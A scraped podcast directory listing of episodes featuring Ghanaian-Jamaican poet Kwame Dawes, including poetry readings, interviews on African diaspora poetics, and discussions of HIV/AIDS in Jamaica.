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2014-02-2037 minPoetry LecturesKwame Dawes: International Poets in ConversationEgyptian-American writer Matthew Shenoda speaks with poet Kwame Dawes about African poetics, reggae, and poetry of the African diaspora.
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2013-04-1839 min
Enoch Pratt Free Library PodcastAn Afternoon of PoetryThis annual Cave Canem poetry reading at the Pratt features Kwame Dawes and Cave Canem fellows Mahogany L. Brown, Raina Fields, Niki Herd, Brandon D. Johnson, Bettina Judd, and Kateema Lee. Hosted by Reginald Harris of Poets House in New York.Born in Ghana in 1962, Kwame Dawes spent most of his childhood in Jamaica. He is a writer of poetry, fiction, nonfiction and plays. Of his 16 collections of poetry, the most recent include Wheels (2011); Back of Mount Peace (2009); and Hope's Hospice (2009). He won a Pushcart Prize in 2001 for his long poem "Inheritance." Dawes is currently the Glenna...2012-12-031h 28
Scottish Poetry Library Podcast[SPL] October 2012: Kwame DawesRyan chats with Ghanian-born, Jamaican-raised Kwame Dawes. He is a poet of great strength, generosity and kindness, and takes the reader to places very few writers in English are capable of going. His work on the prevalence of HIV/AIDS in Jamaica (http://livehopelove.com/) won him an Emmy award for New Approaches to News and Documentary Programming, and drew much needed attention to a situation that had yet to be fully articulated to a large audience. In this podcast Kwame talks about his life in Jamaica, the country's transition away from its socialist years and its slow struggle...2012-10-0333 minPoetry LecturesKwame DawesKwame Dawes reads poems from four of his books at the Art Institute of Chicago in January 2008.
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2012-02-1539 min
TheBody.com: Podcast CentralHIV Frontlines: HIV/AIDS and Homophobia in JamaicaWhen most people think of the island of Jamaica, they likely think of white-sand beaches, sunny skies and lilting accents. But as poet Kwame Dawes and MAC AIDS Fund Director Nancy Mahon explain in our latest edition of HIV Frontlines, Jamaica has deep underlying problems -- and HIV/AIDS is one of them.
2010-02-0324 min
The Lion's Roar: South Carolina State Library PodcastThe Lion's Roar: Ep. 10, South Carolina library news for the week of March 27, 2009South Carolina Academy of Authors will celebrate writers Kwame Dawes, Susan Ludvigson, and Carrie Allen McCray Nickens, inducting the three into the state's literary hall of fame on April 25, 2009; South Carolina State Library is pleased to announce the selection of the most notable South Carolina state government documents of 2008; Georgetown County Government has just been awarded $59,873 from ICMA, the International City/County Management Association, for a Public Library Innovation Grant; In celebration of National Library Week, April 12-18, 2009, you can take a moment to share how you have benefited from using the library; This edition's featured web site is the...2009-03-2716 min
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HIV/AIDS is defined by people: their complex lives, their bravery, their fear, their sadness, their need, their laughter, their inconsistencies–basically, their rich humanity. LiveHopeLove looks at the universal problems faced by people with HIV/AIDS, through the specific lens of Jamaica, where almost no one is unaffected by the disease.
What are the unique realities of this small island state that set its HIV/AIDS suffer...2008-12-0351 min
Art Institute of Chicago LecturesReading: Kwame DawesBorn in Ghana and raised in Jamaica, Kwame Dawes is a poet of precision, passion, and lyricism. At this event, Dawes reads from three of his books: Gomer's Song, Impossible Flying, and Wisteria, Twilight Songs from the Swamp Country. This podcast is brought to you by the Ancient Art Podcast. Explore more at ancientartpodcast.org.2008-01-1054 min